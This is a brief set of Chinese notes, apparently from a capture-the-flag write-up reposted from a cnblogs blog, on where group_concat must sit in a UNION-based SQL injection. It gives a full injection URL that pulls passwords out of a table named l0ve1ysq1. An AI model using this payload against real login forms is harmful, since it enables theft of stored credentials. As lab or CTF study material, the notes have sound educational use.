普通姿势
直到
可以看到报错，但我们的语句并没有任何错误
换到第三个位置就可以正常显示
本地实验也是会报错
最终payload都是在最后一个位置上
?username=amin%27union select 11,33,group_concat(password)from l0ve1ysq1--+%2B&password=222
sql注入中联合查询group_concat位置
原文：https://www.cnblogs.com/NineOne/p/14017473.html
